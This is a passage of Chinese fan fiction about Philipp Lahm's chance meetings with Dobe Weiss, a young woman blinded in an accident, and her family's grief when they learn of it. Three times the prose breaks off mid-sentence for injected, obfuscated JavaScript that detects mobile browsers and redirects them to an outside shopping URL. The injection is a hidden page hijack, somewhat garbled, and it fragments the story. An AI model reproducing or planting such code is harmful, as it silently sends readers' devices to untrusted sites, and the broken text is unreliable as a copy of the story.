光是想象要解释清楚这一切所需要耗费的时间和精力,以及可能引发的连环疑问,菲利普就觉得太阳穴隐隐作痛。 他决定,至少在Scheidplatz车站这个空间里,他和多纳贝德·魏丝,还是继续保持那种互不打扰的“陌生人”关系就很好。更何况,他即将离开慕尼黑,等他回来的时候她在这里的测试也应该结束,他们可能根本没有再见面的机会。 隐瞒一下也没什么不好。他对自己说,带着一种如释重负又隐约有点自欺欺人的轻松。 带着这个坚定的,或者说,逃避的决定,他踏上了换乘平台。目光习惯性地扫过她通常会出现的那几个位置——站台中部靠近金属导向条的区域、靠近长椅的角落…… 没有。 那个每周一准时亮起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326748|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、像疲惫而愤怒的周一化身般的荧光橙大嘴怪背包,今天没有出现。 取而代之的,是几条醒目的警戒线,以及数量明显增多的、穿着统一荧光条背心的工作人员和志愿者。菲利普的目光从那些志愿者身上掠过,注意到他们大多手持盲杖或牵着导盲犬,显然是视障人士。他礼貌而迅速地收回了视线,避免任何可能被视为凝视的不适,即便他们可能注意不到。 心头掠过一丝极其轻微的、难以辨明的情绪——是松了一口气,还是隐隐有一点点……失落?他没去深究,只是将之化作一声几乎听不见的轻叹,随呼吸吐出。 他不再停留,步伐稳定地踏上了开往塞贝纳大街训练基地的U3列车。 他和经纪人已经达成了共识。他们需要与拜仁慕尼黑的高层进行一次至关重要的会谈,主题明确:将他租借至斯图加特。 列车启动,载着他驶向一个关乎职业生涯拐点的白天。而那个在站台上暂时缺席的荧光色坐标,和公园傍晚潮湿的秘密,则被暂时封存在了记忆的某个隔间,与他球鞋踩踏草皮的声音、战术板的线条,以及即将到来的会谈,隔着一层静默的玻璃。 列车驶离站台,窗外景象开始加速模糊,他脑海里那个关于“要不要打招呼”的问题也因为对方的缺席而告一段落。取而代之的,是一个更模糊的疑问:她今天为什么没来? 而城市另一端的公寓厨房里,多贝正哼着歌,摸索着马克斯提前为她放在固定位置的面包和果酱,对站台上某位乘客内心那场短短几秒的微型风暴,一无所知。 30. 意外重逢 六月初的周末,阳光正好。 菲利普·拉姆独自一人,骑着自行车,沿着熟悉的路径驶向慕尼黑西郊。下赛季他就要租借斯图加特,对未知的紧迫感如影随形,对更高舞台的期待与对自我要求的加重,混合成一种细密的疲惫。 从盖恩骑到西郊不过十分钟,道路平整,蜿蜒在茂密的森林之间。只剩下鸟鸣、风声和车轮碾过路面的规律沙响。偶尔有同样来骑行的人从他旁边超过或者被他越过。心跳和呼吸的节奏与踩踏的频率同步,让这段时间里紧绷的神经和过度运转的大脑得到奢侈的舒缓。 然而,这份宁静被后面骤然爆发的喧哗打断。 “左左左!前面有人!快左!” “慢点慢点!你们别蹬了!” “右边!右边有空地!拐过去避开!” “哎呀我看不见啊!到底往哪边啊!算了我不管了——!” 他认得这个声音。菲利普下意识地回头。 映入眼帘的景象让他大脑空白了一瞬:一辆色彩鲜艳的红色串联四座自行车,正以并不算慢的速度朝他这边蛇形而来。而坐在驾驶位、掌控着方向的那个人,赫然是——多纳贝德·魏丝。 一个盲人,在掌控一辆载着四个人的自行车的方向? 这个认知带来的冲击,甚至让他忘记了第一时间避让。就在他愣神的这几秒钟里,那辆自行车为了避开他,猛地向路旁一扭,随即失去了平衡,在几声短促的尖叫和闷响里,连人带车,歪歪扭扭地栽进了道路旁的森林边缘。茂盛的草丛和灌木接住了他们,发出一阵悉悉索索的声响。 菲利普立刻捏紧刹车停了下来。他回头望着那片还在晃动的灌木丛,一时之间有些无言。几秒后,他推着车走过去,停在路边,朝着那片凌乱的绿色,犹疑着问道: “你们…还好吗?需要帮忙吗?” 灌木丛里传来一阵窸窣和低低的呻吟,随即是七嘴八舌、混杂着痛呼和尴尬的回应: “啊,没事!真的,谢谢!” “抱歉吓到您了!” “别担心,我们能搞定……” “打扰您了,对不起!” 菲利普看着四个人狼狈地从草丛里爬起来,脸上、头发上、衣服上都沾着泥土和草叶,那辆自行车则可怜兮兮地倒在更深处。他迟疑了一下,还是指了指自己的腰包,里面常备着纸巾和小瓶饮用水:“嗯……你们需不需要稍微清理一下?” “不用不用,谢谢!我们自己带了。” 又是一阵异口同声的婉拒。然后,菲利普就看到他们——包括眼睛看不见的多贝——都极其熟练地将手伸向那个个子最高金发男生的口袋。那个人臭着一张脸站着,却一动不动,任由同伴们从他口袋里掏出几块虽然皱巴巴但看起来干净的手帕。 这个默契又有点滑稽的小动作,让菲利普心中那点因为被打扰而生的些微不快消散了不少。他稍微犹豫了片刻,目光落在正被朋友帮忙拍打背上草屑的多贝身上,还是决定打破这纯粹的陌生人援助关系,开口打了个招呼: “……没想到在这里遇见你,多纳贝德。” 叽叽喳喳的四人组瞬间安静了。 多贝的动作顿住,花了大约两三秒钟,才从记忆库里调取并匹配上这个声音。随即,她脸上绽开了一个惊喜的笑容: “菲利普?是你吗?太巧了!” 她在朋友们的搀扶下回到坚实的路面,然后快乐地转向朋友们介绍道:“这就是我跟你们提过的菲利普!菲利普·拉姆,那个超级靠谱的新朋友!” “这是莉娜·施瓦茨、马克斯·福格尔、托马斯·克劳泽。”她挨个拍拍朋友的肩膀,被叫到名字的人配合着她的介绍对菲利普招招手。 “你们好。我是菲利普·拉姆。” 菲利普对着另外三人点了点头,算是正式招呼。 “您好。” *3 三声简洁的问候同时响起,带着礼貌和一点好奇的探究。 互相认识后,气氛反而陷入了一种微妙的尴尬。毕竟,刚刚四脚朝天栽进林子里的糗态,被陌生人目睹和被朋友——哪怕是新朋友——见证,心理压力截然不同。后面的三个人用眼神和细微的手势飞快交流,互相戳戳胳膊,最后默契地将多贝推到了最前面。 “……哈哈,所以……是啊……真没想到再次见面竟然这么……别致……” 多贝挠了挠脑袋,试图化解尴尬,结果从头发里摸出了半片树叶。她捏着树叶,表情更窘了。 菲利普看着她和她身后三个强忍笑意、眼神乱瞟的朋友,嘴角微扬,顺着她的话,用一种带着一丝戏谑的语气确认:“是啊,非常别致。” 这句话像按下了某个开关,紧绷的空气“噗”一声漏了气。多贝率先忍不住笑了出来,接着是莉娜的轻笑,马克斯扭过头去肩膀抖动,连看起来最稳重的托马斯也低头推了推眼镜,掩饰笑意。那点因出丑而产生的细微不自在,在这片共同的笑声中消散了。 “你也来这儿骑车吗?” 多贝拍了拍手上的灰,找了个安全的话题。这问题有点明知故问——西郊本就是著名的骑行区。 “嗯。” 菲利普还是回答了,顿了顿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326749|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 补充了真实的缘由,“散散心。” “心情不好吗?” 多贝敏锐地捕捉到了他语气里那丝几不可察的低沉,疑惑地问。她的朋友们也稍稍安静下来,投来关注的目光。 “……不。只是……” 菲利普迟疑了一下。他很少对不熟悉的人谈论自己的职业规划,尤其是这种未知且充满变数的事情。但或许是刚才那场混乱打破了一些隔阂,或许是眼前这个女孩曾对他袒露过更深的脆弱,他最终还是选择了透露一部分:“下个赛季我要租借到斯图加特了。感觉一切还有点……陌生。” 她的脸上还带着一点茫然,毕竟她对足球世界的转会、租借、俱乐部层级只有最模糊的概念。菲利普甚至怀疑她是否知道有斯图加特这个俱乐部,她的入门课都还是他教的。 “别担心。你是菲利普。而菲利普就是最好的。” 这句话简单,直白,甚至有点孩子气。 菲利普微微一怔,随即,一个真实而放松的微笑在他脸上化开。“谢谢。” 他低声道谢。 这时,在旁边检查自行车状况的马克斯和托马斯(莉娜则留在多贝身边,保持着一点警惕的陪伴)招呼道:“自行车没问题!可以继续了!” 多贝闻声,愉快地转向菲利普:“那我们得继续啦!真的很高兴遇见你!” “我也是。” 然后,他就听见四人开始兴致勃勃地重新安排阵型,并且—— 再次让多贝坐到了驾驶位。 “上次纯属指挥混乱!现在我们指定一个唯一指挥官!” 提议的是托马斯,他此刻的表情带着一种经过“深思熟虑”后的正经,仿佛在宣布一项严谨的科学实验方案。 另外三人立刻大呼小叫地表示赞同,好像刚才摔进草丛的事从未发生。 菲利普是感到一阵无语,甚至有些难以置信:认真的?就在刚刚发生过事故,且掌控方向的人完全看不见的情况下? 这太胡闹了。 但看着多贝被朋友们七手八脚但充满信任地扶上车座,脸上没有恐惧,只有跃跃欲试的兴奋和对自己朋友的绝对信赖;看着另外三人虽然吵吵嚷嚷,但彼此间流转着毋庸置疑的默契和支撑感……那股劝阻的话到了嘴边,又咽了回去。 他骑上车,最后看了一眼已经准备再次出发的四人小队,轻声说了句: “祝你们好运。” 身后隐约传来几句争执渐渐融入森林的背景音中。他的思绪似乎比来时更轻快了一些,脚下的节奏不自觉地加快,迎着林间疏落的光斑向前驶去。 31. 魏丝家的坦白 在多贝刚刚回到德国的时候,一件事始终压在魏丝家的心头。 “你告诉他们了吗?”直到听见爸爸挂断电话,多贝才小心翼翼地探头进来。 “…没有,我不敢。” 四月的施塔恩贝格,魏丝家的花园里一片生机盎然。 “你觉得这花怎么样,多贝会喜欢吗?”玛吉丽特·魏丝将一束春番红插进花瓶里,来来回回地调整着,她起了个大早,从花园里挑选出开得最漂亮的几枝。 弗里德里希·魏丝把怀里的几枝香堇递给她:“亲爱的玛吉,这个问题今天早上你已经问——”他抬眼,正好对上玛吉丽特扫过来的视线,“当然,当然!她会喜欢的,她最喜欢你的花园了。” 玛吉丽特对他扯出一个假笑,她接过香堇,继续摆弄面前的花瓶:“别在这里碍事,去把茶准备好。” 昨天下午他们的儿子菲利克斯打来电话,说明天要和多贝一起来施塔恩贝格。电话里他提到有件事要告诉他们,玛吉追问到底是什么事,他却吞吞吐吐遮遮掩掩,只说明天到了就知道了。 谁管他发生了什么事,最重要的是多贝要来。去年的圣诞节漱石带着多贝回了中国,到现在为止他们已经有将近三个月没见到她了,即便时常通话,见不到面也无法缓解思念。 想到即将到来的孙女,弗里不苟言笑的脸上也忍不住露出一个微笑,他拿出多贝最喜欢的那个茶杯,第不知道多少次检查它是否被清洗干净。 熟悉的喇叭声传来,玛吉已经欢快地跑去开门,弗里赶紧放下茶壶,跟着她走向门口。 “Meine kleine Sonnenschein!(我的小太阳!)” 玛吉甜蜜的呼喊突兀地断掉,半张开的手臂僵在空中。 “怎么了?”他按下玛吉的手给自己腾出点地方,“怎么不让他们进——” 门外,是紧挨在一起、神情复杂的儿子儿媳,以及他们中间那个努力挺直脊背,却仍然显得局促不安的孙女。 她的手里正紧握着一根盲杖。 “…嗨,奶奶,爷爷。好久不见…我们能、能进去坐坐吗?” 弗里不记得他们是怎么让开门口的位置,也不记得是怎样坐到沙发上听完那个故事的。他只能看见多贝手里的那根盲杖,以及那双灰暗的、毫无神采的绿眼睛。 圣诞假期,中国,争吵,铬酸溶液——一场意外。 多贝大概已经在心里打过很多次腹稿,除了一开始有些不知道怎么开口,剩下的内容被她说得流利又轻松。尤其是讲到她的新教授和新项目的时候,那双灰蒙蒙的眼睛好像也要被重新点亮了似的。 弗里看着那双绿眼睛,它的主人的语气如此真诚,好像那场意外带来的痛苦不值一提。他觉得那瓶铬酸好像也淋到了自己的眼睛里,不然他为什么渐渐看不清多贝的眼睛了呢? “你们瞒了我们三个月!”玛吉的每个字都像是从嗓子眼里撕下来的一般,她站起来想要冲向菲利克斯,却被多贝抓住:“奶奶!” 玛吉摔在沙发上,裙子碰翻了茶几上的托盘,零食洒了一地,那只多贝最喜欢的茶杯跌落在地板上。 她紧紧抱住多贝,将多贝的脸按在自己的胸口。哭声从喉咙里拱出,然后炸开,“多贝——我的小多贝——”,她再说不下去了,最后所有的声音模糊在一起,只剩下痛苦的哭嚎。 “我、我很抱歉,玛吉,弗里…这都是我的错…”林漱石颤抖着,她被菲利克斯死死按在椅子上,“这都是我的错…” 这当然是你的错!难不成是多贝的错吗!愤怒自痛苦中升腾,他只想让面前的两个人全都滚出去! 胸膛剧烈的起伏,那些痛苦和愤怒几乎要从胸口里冲出来—— “不…那不怪你,这只是、只是一场…意外。” 弗里听见自己这么说。 他摘下眼镜,捂住了自己的眼睛。 客厅里只能听见交织缠绕的哭声和多贝不知所措的安慰。 弗里不知道过了多久,也许很长时间,也许只有一会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326750|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他放下手,看向多贝。 她还窝在玛吉怀里,一只手轻轻拍着她的背,一只手伸向父母的方向在空中乱抓:“别哭了,爸爸、妈妈…” 她的头发被蹭得翘起一些。从小到大都是这样不服帖。 弗里站起身走过去。 多贝察觉到有人靠近,她把脸从玛吉怀里抬起来,转向人来的方向:“爷爷?” 一只手伸过来,捋了捋她的头发。 多贝愣了一下。 她把脸重新埋回玛吉怀里,耳朵被玛吉亲了亲。 耳边是家人们压抑的抽泣声,头顶上爷爷的手止不住的颤抖。所有人都在因为她而痛苦。 不,别这样。 “我…我确实很害怕,在最开始。”她的声音因为还靠在玛吉的怀里显得闷闷的,玛吉稍稍松开手,让她能够坐直,“我也想过为什么这种事会发生在我身上。” 她听见妈妈的抽噎声有一瞬间的停顿:“多贝……” “但是——”她打断了妈妈将要说出口的话。 多贝握住白骑士,白骑士的杖尖滑过地毯,碰到了一个坚硬的小东西,她弯腰将它拾起。 一个杯子。刚刚它摔在地上,多贝摸到了一条裂纹。 “我没事”已经说过很多遍,那些意义、新方向——关于无障碍的,她也重复过很多次,现在再讲一遍也没什么意义。 她只是微笑起来,将脸偏向林漱石的方向:“不要哭了,我会难过的。” 窗外,四月的阳光正好。 哭泣声逐渐低弱,多贝听见椅子被拖动,爸爸和妈妈在低声道歉,爷爷还在指责他们竟然瞒了这么久… “我烤了普利莫斯特奶酪蛋糕,要不要来一点?”奶奶又亲了亲她的脸。 “当然!” 玛吉的脚步声逐渐远离。 多贝眨了眨被阳光晒得有些疼的眼睛,她的眼药水应该就在包里。 这样就很好。 她微微偏头,避开了阳光照过来的方向。